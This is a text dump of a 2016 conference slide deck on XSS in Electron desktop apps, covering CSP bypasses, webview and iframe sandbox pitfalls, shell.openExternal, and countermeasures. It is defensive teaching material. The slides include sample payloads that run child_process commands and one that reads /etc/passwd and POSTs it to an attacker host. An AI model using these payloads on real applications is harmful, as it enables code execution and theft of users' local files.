SlideShare a Scribd company logo
1 of 62
Build cross platform desktop XSS
It’s easier than you think
ELECTRON
Secure Sky Technology Inc.
Yosuke HASEGAWA
Yosuke HASEGAWA @hasegawayosuke
Secure Sky Technology Inc. Technical Advisor
OWASP Kansai Chapter Leader
OWASP Japan Chapter board member
CODE BLUE Review board member
http//utf-8.jp/ Author of jjencode, aaencode
Talked at Black Hat Japan 2008, KOREA POC 2008,
POC 2010, OWASP AppSec APAC 2014 and others.
Found many vulns of IE, Firefox and others.
Secure Sky Technology Inc. CODE BLUE 2016
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
Framework to develop the cross-platform
desktop application developed by GitHub
Capable of developing applications in
HTML+JavaScript
Used by many application developpers
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
HTML + JavaScript = Native Apps
Microsoft HTML Application (*.hta)
Firefox OS
Apache Cordova / Adobe PhoneGap
Chrome Apps
Electron / NW.js
Electron
Cross platform
Capable of building binaries
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
Contain node.js & Chromium as runtime
Main process
Overseewholetheapplication.Theverynode.js
Renderer process
Chromium+node.js
main
process
renderer
process
Electron Apps
IPC
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
main
process
renderer
process
Electron Apps
IPC
index.html
package.json
{
"name" : "Apps name",
"version" : "0.1",
"main" : "main.js"
}
main.js
let win = new BrowserWindow( {width:840,height:700} );
{json}
<html>
<head>...</head>
<body>
<script>...</script>
</body>
</html>
win.loadURL( `file://${__dirname}/index.html` );
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
In renderer, node.js run in the browser
node function can also be disabled.
Enabled by default.
<html>
<script>
const fs = require( "fs" );
function foo(){
fs.readFile( "./test.txt", { encoding: "utf-8" },
(err, data) => {
document.getElementById("main").textContent = data;
}
);
}
</script>
<div id="main">
</div>
</html>
Secure Sky Technology Inc. CODE BLUE 2016
Electron Apps Security
Secure Sky Technology Inc. CODE BLUE 2016
Electron Apps Security
Three major Problems
Security measures as Web application
Renderer is a browser.
Measures for DOM-based XSS is necessary
Security measures as local application
Measures for traditional application, such as
race condition and improper encryption
Security measures specific to Electron
Measures for the various function of Electron
Secure Sky Technology Inc. CODE BLUE 2016
Electron Apps Security
Three major Problems
Security measures as Web application
Renderer is a browser.
Measures for DOM-based XSS is necessary
Security measures as local application
Measures for traditional application, such as
race condition and improper encryption
Security measures specific to Electron
Measures for the various function of Electron
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
Renderer process : Chromium + node.js
DOM operation tend to increase
DOM-based XSS is easy to occur
Open redirector(*) by JavaScript
(*)open redirector : URL Redirection to Untrusted Site
Security measures for the front end
similar to the traditional Web application
is necessary
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
DOM-based XSS is easy to occur
DOM operation is often
Originally, DOM-based XSS is hard to find
fs.readFile( filename, (err,data) => {
if(!err) element.innerHTML = data; //XSS!
});
fs.readdir( dirname, (err,files) => {
files.forEach( (filename) => {
let elm = document.createElement( "div" );
elm.innerHTML =
`<a href='${filename}'>${filename}</a>`; //XSS!
paerntElm.appendChild( elm );
});
});
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
Fatal damage if DOM-based XSS occurs
In many cases node function is also available
in the code injected by Attacker
Not the only XSS = alert
Read and write local file
Communicate in any protocol
Interference to other application
Generate arbitrary process
So, it is possible to exec arbitrary code
triggered by DOM-based XSS
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
Traditional Web application
Showing false information, Leaking Cookie,
Leaking the information in the web site ...
All that JS can do in “the Web site”
Can not do anything beyond the Web site
Protected by the browser ... Sandbox
Even if there is a vulnerability, no impact on
other than its own Web site
Damage occurs only to the extent that Web
site owner can take responsibility
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
XSS in Electron
Exec arbitrary code in the authority of a user
using the application
All of what the user can do on the PC
 Destruction of existing applications
 Tampering and sniffing of online banking apps
 Infection and delivery of malware
Can do anything beyond the scope of the
application
The responsibility of the developer really
changes
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas Webapplication
Against attacks on Electron application
JavaScript for the Web site falsification
Even if it is obfuscated, finally DOM operation
Look for the insertion of <iframe> and
<script>
JavaScript for attack to Electron
Any function process is present as possibility
Checkup the behavior in detail is necessary
The technique of the analysis side is
immature, too
Secure Sky Technology Inc. CODE BLUE 2016
Electron Apps Security
Three major Problems
Security measures as Web application
Renderer is a browser.
Measures for DOM-based XSS is necessary
Security measures as local application
Measures for traditional application, such as
race condition and improper encryption
Security measures specific to Electron
Measures for the various function of Electron
Secure Sky Technology Inc. CODE BLUE 2016
Securitymeasuresas localapplication
Securitymeasuresforlocalapplicationisnecessary
Symlink attack
Race condition
Improper use of encryption
Too much access right
 e.g. Confidential information as 644
Alias notation of file name
 e.g. 8.3 filename, ADS(file.txt::$DATA)
and many others
DifferentknowledgebackgroundfromWebapps
Platform-specificknowledgeisalsonecessary
Secure Sky Technology Inc. CODE BLUE 2016
Electron Apps Security
Three major Problems
Security measures as Web application
Renderer is a browser.
Measures for DOM-based XSS is necessary
Security measures as local application
Measures for traditional application, such as
race condition and improper encryption
Security measures specific to Electron
Measures for the various function of Electron
Secure Sky Technology Inc. CODE BLUE 2016
SecuritymeasuresspecifictoElectron
Notes on using individual API
<webview> tag
shell.openExternal
Architectural problems of Electron
BrowserWindow normally loads "file://"
There is no address bar unlike browsers
Secure Sky Technology Inc. CODE BLUE 2016
Deep dive into
DbXSS of Electron
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
XSS that occur on JS by giving sources to
sinks without escaping
source: Character strings attacker gave
sink : To generate HTML from character
string and to run it as a code
source Process sink
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
Damage in traditional XSS
Show of alert
Show false information in Web apps
Cookie theft
Theft of confidential information in Web apps
anything else?
elm.innerHTML = "<img src=# onerror=alert('xss!')>";
elm.innerHTML = "<form>ログイン:<input type='password'>";
elm.innerHTML = "<img src=# onerror="new
Image().src='http://example.jp/?'+document.cookie">";
elm.innerHTML = "<img src=# onerror="new
Image().src='http://example.jp/?'+elm.innerHTML">";
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
node function on renderer is enabled by
default
// xss_source is character string that attacker can control
elm.innerHTML = xss_source; // XSS!
<img src=# onerror=
"require('child_process').exec('calc.exe',null);">
<img src=# onerror="
let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s });
">
Secure Sky Technology Inc. CODE BLUE 2016
”
“
DOM-based XSS on Electron apps
Arbitrary code exec is possible
- Like Buffer Overflow
XSS: The New Buffer Overflow
In many respects, an XSS vulnerability is
just as dangerous as a buffer overflow.
多くの点から見て、XSS 脆弱性の危険性はバッファ
オーバーフローに匹敵します。
"Security Briefs: SDL Embraces The Web", Apr. 2008
http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e
n-us/magazine/cc794277.aspx
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
XSS that occur on JS by giving sources to
sinks without escaping
source: Character strings attacker gave
sink : To generate HTML from character
string and to run it as a code
source Process sink
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
XSS that occur on JS by giving sources to
sinks without escaping
source: Character strings attacker gave
sink : To generate HTML from character
string and to run it as a code
source Process sink
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
user name
database
file contents
file contents
file name logs
webFrame.executeJavaScript
webViewrequire
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
Source that did not exist in the traditional
Web apps
Every data which are unrelated to HTTP and
Web can be XSS source
Sink does not increase so much
It usually does not give dynamic argument to
require and other sinks
Not conscious of source, and it is
important to escape when hand it to sink
Proper DOM operation
(e.g. textContent, setAttribute)
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Apply CSP to renderer as XSS
countermeasure is effective?
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
renderer
//index.js
elm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
xss_source =
'<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">';
<script>
require('child_process').exec('calc.exe',null);
</script>
http://evil.utf-8.jp/
meta refresh is not limited by CSP
Openedinrenderer.nodefunctionisavailableinrenderer.
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
renderer
//index.js
elm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS?
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS!
app.on('ready', () => {
win = new BrowserWindow({width:600, height:400} );
win.loadURL(`file://${__dirname}/index.html`);
....
main.js
origin === 'file://'
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS!
xss_source = 'file://remote-server/share/trap.html';
window.top.location=`data:text/html,
<script>require('child_process').exec('calc.exe',null);</script>`;
file://remote-server/share/trap.html
Sinceoriginis"file://",attacker'sfileserverisalsosameorigin
In top level window, node function is available
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Even after CSP restricted to read resource,
page transition is possible by meta refresh
 Transition in renderer to trap page prepared by
attacker
 In the trap page prepared by attacker, of course
CSP does not work
Because of "file://", attacker's resource is
from same origin
 Easy to put iframe or script source
In renderer, node function is available
Conclusion:cannotreducethreatofXSSbyCSP
Secure Sky Technology Inc. CODE BLUE 2016
Disabling node in renderer
Secure Sky Technology Inc. CODE BLUE 2016
Disabling node in renderer
Disable node of renderer, threat reduce
At the time of creating BrowserWindow, to
specify disabled explicitly is necessary.
Enabled by default.
app.on('ready', () => {
win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
....
main.js
Secure Sky Technology Inc. CODE BLUE 2016
Disabling node in renderer
node function in renderer is enabled by
default
Unless explicitly disable node, it remains
enabled
Disabling node in renderer, make Electron
apps unpractical
Still, is disabling node effective?
Secure Sky Technology Inc. CODE BLUE 2016
Disabling node in renderer
HowfarattackspossibleinnodedisabledJS
Before then, origin is "file://"
With XHR, etc, reading local file is possible
app.on('ready', () => {
win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
....
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://c:/file.txt", true );
xhr.onload = () => {
fetch( "http://example.jp/",
{ method:"POST",body:xhr.responseText } );
};
xhr.send( null );
Secure Sky Technology Inc. CODE BLUE 2016
Disabling node in renderer
Disabling node is possible, by explicitly
specifying
Disabling node in renderer, make Electron
apps unpractical
Even after node is disabled, reading local
file is possible
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
To limit the DOM operation access within
<iframe sandbox>, as application
To operate iframe from outside
Even if DbXSS occurs in iframe, the damage is
limited
<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
....
document.querySelector("#sb")
.contentDocument.querySelector("#msg").innerHTML =
"Hello, XSS!<script>alert(1)</script>"; // not work
Secure Sky Technology Inc. CODE BLUE 2016
DbXSS mitigate - <iframe sandbox>
<iframe sandbox[="params"]> Representative
allow-forms - Allow form to exec
allow-scripts - Allow script to exec
allow-same-origin - Allowsameoriginhandling
allow-top-navigation - Allowinterferencetotop
allow-popups - Allow pop-up
To specify allow-scripts is dangerous
In iframe, JS work normally
allow-top-navigation, allow-popups are
dangerous, too
Secure Sky Technology Inc. CODE BLUE 2016
<iframe sandbox="allow-popups">
<iframe sandbox="allow-same-origin allow-popups" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
...
var xss = `<a target="_blank"
href="data:text/html,<script>require('child_process')
.exec('calc.exe',null);</script>">Click</a>`;
document.querySelector("#sb")
.contentDocument.querySelector("#msg").innerHTML = xss;
Click
(iframe)
data:text/html,
<script>require(...)
← CE C ± √
7 8 9 / %
4 5 6 * 1/x
1 2 3 -
=
0 . +
0
In BrowserWindow generated by popup, JavaScript
work with enabled node function
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Put other sites in renderer
Unlike iframe, do not have any access to the
outside of webview (e.g. window.top)
CannoteasilydoDOMoperationfromoutsideeither
(There is no kind of iframe.contentWindow)
Enble/disable node function is possible by
each of webview
Allow generation of new window by
allowpopups attribute
<webview src="http://example.jp/"></webview>
<webview src="http://example.jp/" nodeintegration></webview>
<webview src="http://example.jp/" allowpopups></webview>
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Newly opened window by window.open(),
<a target=_blank>, etc
In iframe and webview, enabled or disabled
of node is different
<webview
allow-popups>
node disable
renderer(nodeenable)
<iframe>
node always disable
renderer(nodeenable)
<webview
allow-popups
nodeintegration>
node enable
renderer(nodeenable)
New renderer
(node disable)
New renderer
(node enable)
New renderer
(node enable)
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Safe to disable node and use preload
function
In preload script, even if in node disabled
webview, node function is available
<webview src="http://example.jp/" preload="./prealod.js">
</webview>
//preload.js
window.loadConfig = function(){
let file = `${__dirname}/config.json`;
let s = require("fs").readFileSync( file, "utf-8" );
return JSON.eval( s );
};
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Common case
Making existing Web app a native app
Put existing Web app in <webview>
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Common case
Making existing Web app a native app
Put existing Web app in <webview>
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Common case
Making existing Web app a native app
Put existing Web app in <webview>
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
webview contain
3rd party advertisement
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Inthecaseofwebviewcontaining3rdpartyad
Ad JS freely exec code in webview
If node is enabled, both ad JS and node
function are available in webview
Even if node is disabled, such as rewriting the
entire screen or show of fake login screen are
possible via window.top
e.g. malicious advertising,
delivery server pollution ... Code Blue SNS
User:
Pass:
// load fake login page
window.top = "http://evil.utf-8.jp/";
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Countermeasure :
Ads are shown in iframe sandbox
 Prevent interference to top
 Not applicable for JS embedded type ad
Web app
 DoesnotaffectadtotheWebappbeyondtheorigin
 Users can check if the site is valid, with address
bar
Electron app
 Even for ad in iframe, it is possible to exec
malicious code if node function is enabled
 Users cannot check if the site is valid, without
address bar
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
allowpopups attribute
In window.open, popup is enabled
Inwindow.open,file:schemecanalsobespecified
Attackers can read local files by running file://
origin script through file server
<webview src="http://example.jp/" allowpopups></webview>
// http://example.jp
window.open("file://remote-server/share/trap.html");
// file://remote-server/share/trap.html
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://C:/secret.txt", true );
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
Countermeasure
Take off allowpopups attribute
Or, check the URL in main.js
// main.js
app.on('browser-window-created', (evt, window) => {
window.webContents.on('new-window', (evt,url) => {
let protocol = require('url').parse(url).protocol;
if (!protocol.match( /^https?:/ )) {
evt.defaultPrevented = true;
console.log( "invalid url", url );
}
});
});
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal
shell.openItem
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
Start external program correspond to URL
or extension
const {shell} = require( 'electron' );
const url = 'http://example.jp/';
shell.openExternal( url ); // start OS standard browser
shell.openItem( url );
let file = 'C:/Users/hasegawa/test.txt';
shell.openExternal( file ); // file open in OS standard way
shell.openItem( file );
let filename = 'file://C:/Users/hasegawa/test.txt';
shell.openExternal( file ); // file open in OS standard way
shell.openItem( file );
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
Common case
Open such as window.open from webview
with OS standard browser
If attakers can manipulae URL, they can run
any commands
 Cannot hand over argument to command
webview.on( 'new-window', (e) => {
shell.openExternal( e.url ); // Open with OS standard browser
});
<a href="file://c:/windows/system32/calc.exe">Click</a>
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
Verification is necessary, not to pass any
arbitrary URLs to shell.openExternal,
shell.openItem
if (url.match( /^https?:/// )) {
shell.openExternal( url ); //open in browser
}
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
domXss().then( die ); // ACE
In the context of enabled node, do to
allow external scripts to run
In the file: scheme, do not allow external
scripts to run
Attacker can use the trap file server
Secure Sky Technology Inc. CODE BLUE 2016
Question ?
hasegawa@utf-8.jp
@hasegawayosuke
http://utf-8.jp/
Credits to
@harupuxa, @kinugawamasato, nishimunea

More Related Content

What's hot

Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotJeremiah Grossman
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearydrewz lin
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Securityjgrahamc
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript SecurityJason Harwig
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equaldrewz lin
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App Cenzic
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for DevelopersMike North
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesMichele Orru
 
Building & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsBuilding & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsSecuRing
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Jeremiah Grossman
 
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the YearJeremiah Grossman
 

What's hot (20)

Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for Developers
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the masses
 
Building & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsBuilding & Hacking Modern iOS Apps
Building & Hacking Modern iOS Apps
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
 

Viewers also liked

[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英CODE BLUE
 
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten NohlCODE BLUE
 
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...CODE BLUE
 
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...CODE BLUE
 
[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten Nohl[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten NohlCODE BLUE
 
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...CODE BLUE
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...CODE BLUE
 
[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes
[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes
[CB16] Who put the backdoor in my modem? by Ewerson GuimaraesCODE BLUE
 
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés RianchoCODE BLUE
 
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...CODE BLUE
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés RianchoCODE BLUE
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac DawsonCODE BLUE
 

Viewers also liked (13)

[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
 
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
 
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
 
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
 
[CB16] Keynote: How much security is too much? by Karsten Nohl
